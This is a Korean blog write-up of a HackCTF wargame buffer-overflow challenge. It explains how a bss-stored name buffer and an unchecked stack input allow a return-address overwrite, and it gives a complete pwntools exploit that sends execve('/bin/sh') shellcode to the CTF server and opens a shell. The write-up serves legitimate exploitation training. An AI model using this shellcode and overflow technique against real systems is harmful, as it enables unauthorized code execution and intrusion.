이번 문제는 내 버퍼가 흘러넘친다!!! 라는 이름을 가진 Buffer Overflow 문제이다.
1. Mitigation
보호기법은 Partial RELRO 말고는 걸려있는건 없다.
2. 문제 확인
프로그램을 실행하면 Name과 input문자열이 나타나는데 입력을해보면 별다른 출력 없이 프로그램이 종료한다. 문제에대해 분석 해보자.
3. 풀이
메인 함수 부분을 살펴보면 name함수에 입력 값을 받는데 name 변수는 bss영역에 있다. 그리고 난후 s변수에 값을 입력받는다.
그렇다면 bss영역인 name에 쉘코드를 입력하고 s 변수를 통해 리턴 주소를 name 변수 주로소 조작하면 쉘이 따질것이다.
exploit
from pwn import *
r = remote('ctf.j0n9hyun.xyz', 3003)
elf = ELF('./prob1')
name = elf.symbols['name']
log.info('name : ' + hex(name))
shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'
r.sendlineafter('Name :', str(shellcode))
payload = 'A'*24
payload += p32(name)
r.send(payload)
r.interactive()
'Wargame > HackCTF' 카테고리의 다른 글
Simple_size_bof (0) | 2021.03.16 |
---|---|
x64 Buffer Overflow (0) | 2021.03.16 |
Basic_FSB (0) | 2021.03.16 |
Basic_BOF#2 (0) | 2021.03.15 |
Basic_BOF (0) | 2021.03.08 |
댓글